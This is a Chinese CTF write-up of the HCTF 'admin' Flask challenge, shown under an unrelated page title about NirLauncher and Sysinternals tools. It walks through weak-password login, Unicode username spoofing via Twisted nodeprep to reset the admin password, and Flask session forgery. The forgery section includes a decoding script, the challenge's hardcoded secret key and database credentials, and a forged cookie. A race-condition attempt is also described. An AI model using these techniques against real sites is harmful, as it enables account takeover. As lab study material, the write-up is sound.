1. 程式人生 > 實用技巧 >程式設計師必備工具之NirLauncher+Sysinternals

程式設計師必備工具之NirLauncher+Sysinternals

前言:

最近在BUUCTF刷題,參照師傅們wp後復現一下

0x01

拿到題目後進去如下介面

發現有登入和註冊介面,想必是要登入後才能檢視想要的資訊。

檢視頁面原始碼,看看有沒有上面提示,介面如下

提示你不是admin,到這裡基本上主要的方向已經有了,就是要以admin使用者登入進去,才能檢視到flag

0x02

一,弱密碼

首先嚐試了一下弱密碼爆破,結果成功進入,密碼是123,然後成功看到flag

二,Unicode欺騙

假設我們不知道admin密碼,或者是比較複雜的密碼,然後我們註冊一個使用者,登入進去,發現頁面如下

post頁面是發表內容的

本來猜測會不會有注入,結果我發表內容後也沒看哪裡有回顯,所以注入這塊是不可能了,檢視原始碼也沒有得到提示資訊

還有一個change password頁面,檢視原始碼,得到如下提示

發現題目原始碼,在change中發現,當修改密碼的時候會判斷使用者名稱,將使用者名稱轉換為小寫

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])  #這裡將使用者名稱轉換為小寫
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

同樣,在註冊頁面原始碼中也發現同樣的小寫函式呼叫

def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data) #將註冊提交的使用者名稱小寫
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

登入頁面也有轉換小寫呼叫

def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)  #提交的資料轉換為小寫
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

但是這裡用的轉小寫函式不是python自帶的lower函式,而是strlower函式,看來是作者自定義的函式,那麼我們看看這個函式的程式碼

def strlower(username):
    username = nodeprep.prepare(username)
    return username

使用的是 nodeprep.prepare函式,這個函式是用Twisted模組匯入,而且檢視專案時發現這個專案的Twisted版本相對於當時題目釋出的時間是落後的,直接嘗試進行unicode編碼轉換小寫

其實使用nodeprep.prepare函式轉換的過程就是下面這個過程

ᴬᴰᴹᴵᴺ -> ADMIN -> admin

所以我們可以註冊一個ᴬᴰᴹᴵᴺ 使用者,然後在登入介面的時候用了一次nodeprep.prepare函式,然後進去後介面就顯示我們是ADMIN使用者,然後在修改密碼介面修改密碼的時候,ADMIN就變成了admin,最後我們就成了修改admin的密碼,然後登入admin使用者

修改密碼,使用修改後的密碼登入admin

參考連結:http://sunsec.top/2018/11/15/HCTF admin/

三,flask session偽造

登入的時候通過抓包發現,登入的使用者是有session的,那麼就很自然聯想到能否偽造admin的session從而登入admin的使用者呢?那麼前提就是要先知道flask的session是如何形成的

flask的session機制:https://cizixs.com/2017/03/08/flask-insight-session/

flask的session是儲存在客戶端中,那麼就可以進行讀取進而進行偽造

客戶端session安全問題:https://www.leavesongs.com/PENETRATION/client-session-security.html

下面使用指令碼將session進行解密

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

解密結果如下

{'_fresh': True, '_id': b'71223133265323aadf8c1c2c8765fac0fe6eb23d3bfc3f5c72505321e222db2f8790d1d95f042f4f756cd52028787088cc8ae621d2331c49812fc47adce67341', 'csrf_token': b'75d655b165c0f29feb01dc2a5a95275eb84e506e', 'image': b'OsZa', 'name': 'admin', 'user_id': '1'}

如果要偽造session需要知道SECRET_KEY,這個我們可以再專案原始碼中找到,再config.py中

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

利用flask_session加密指令碼進行偽造

偽造的session:

.eJxNkEFrwkAUhP9KeWcPNdGL4KGyMUR4Lygxy76LpBqTvGQtREWz4n_vVkrpYU7DDN_MA3bHvjzXMLv013IEu-YAswe8fcIMyEUDCt7R4UCydShUG72xaYx341aSqn1AmmvjFpYz7owkjhU1bNGx5EIuGaP6yS07lGTg2EuqMM0WLer1lLS5kVpZik1IGQur7YAqmZCrQlTVxAQ4MXob-HzrORxqfE-z6o6WhdSh5pg6kr0jFc3hOYL9uT_uLl9tefo3IW89-thI5FHxxpJM2eYNqmXrJ9SkoyllSUg6b1K16Sj7CHg9f9U1tqjKv6YspML8OqfCegOKg21OMILruexfv8EYnt-QEm3c.Xwkyxg.m6cjsP-TbdXQ8gv9HanF8pE_oGU

然後登入時候修改session,即可顯示flag

四,條件競爭

這個主要就是因為再session賦值的時候都是直接進行賦值,而並沒有進行驗證,也就是說,比如我們隨便註冊個使用者123,然後程序1再使用使用者123重複的進行登入,改密碼操作,程序2重複進行登出登入,同時用admin使用者和程序2修改的密碼進行登入,然後某個時刻程序1剛好要修改密碼,程序2恰好要登入,就將程序2 admin的session給了程序1,從而改掉了admin的密碼

參考連結:https://www.anquanke.com/post/id/164086#h3-13

這裡用了師傅們的指令碼,但都沒有成功,沒找到原因,可能是指令碼的編寫還有些偏差,或者後期復現環境於當時比賽環境也有誤差

0x03

復現這道題還是學到了很多新的知識,比如對於Unicode的欺騙這次又掌握的更多了,同樣的內容,不同的編碼形式卻能繞過程式碼檢測,很厲害,再者就是session偽造,對於flask的session偽造有了更加充分的一些認識,但是條件競爭是官方wp給出的其中一個解題方法,很遺憾沒有復現成功,但是還是學到了一些知識。